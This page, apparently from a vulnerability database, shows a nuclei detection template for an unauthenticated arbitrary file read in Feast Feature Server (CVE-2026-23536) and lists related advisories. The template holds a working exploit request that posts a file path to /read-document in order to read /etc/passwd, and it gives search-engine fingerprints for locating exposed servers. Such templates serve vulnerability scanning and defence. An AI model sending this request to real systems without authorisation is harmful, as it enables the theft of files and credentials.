Lucene search
+L

Feast Feature Server <=0.58.0 - Arbitrary File Read

🗓️ 25 Aug 2026 06:25:08Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Unauthenticated arbitrary file read in Feast Feature Server <=0.58.0 via /read-document endpoint.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-23536
20 Mar 202621:58
attackerkb
circl
Circl
CVE-2026-23536
20 Mar 202622:17
circl
cnnvd
CNNVD
Red Hat OpenShift AI 路径遍历漏洞
20 Mar 202600:00
cnnvd
cve
CVE
CVE-2026-23536
20 Mar 202621:58
cve
cvelist
Cvelist
CVE-2026-23536 Feast: unauthenticated arbitrary file read
20 Mar 202621:58
cvelist
euvd
EUVD
EUVD-2026-13816
21 Mar 202600:31
euvd
nvd
NVD
CVE-2026-23536
20 Mar 202622:16
nvd
ptsecurity
Positive Technologies
PT-2026-26683
20 Mar 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2026-23536
20 Mar 202621:58
redhatcve
snyk
Snyk
Directory Traversal
20 Mar 202600:00
snyk
Rows per page
id: CVE-2026-23536

info:
  name: Feast Feature Server <=0.58.0 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    Feast (the open-source Feature Store) Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The read_document_endpoint handler passes the JSON `file_path` field straight to os.path.exists()/open() and returns the file contents in the JSON `content` field, so a remote, unauthenticated attacker can read any file readable by the server process (e.g. /etc/passwd, feature_store.yaml, cloud credentials). Unlike the store-mutating routes it carries no inject_user_details/permission dependency.
  reference:
    - https://access.redhat.com/security/cve/CVE-2026-23536
    - https://bugzilla.redhat.com/show_bug.cgi?id=2429302
    - https://github.com/feast-dev/feast
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23536
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-23536
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    product: feast
    vendor: feast-dev
    shodan-query: http.favicon.hash:493797515
    fofa-query: icon_hash="493797515"
  tags: cve,cve2026,feast,lfi,traversal,mlops

http:
  - raw:
      - |
        POST /read-document HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"file_path":"/etc/passwd"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"content":'
          - '"file_path":'
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a4c91a112c6419f99a8ca34e748528860486485181235b863df91753c4958565022100f8573df28d7c9137ea87d7a07593741543ac685de16f681542ecdd2991523b7b:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2026 06:39Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.17.5
EPSS0.00594
SSVC
2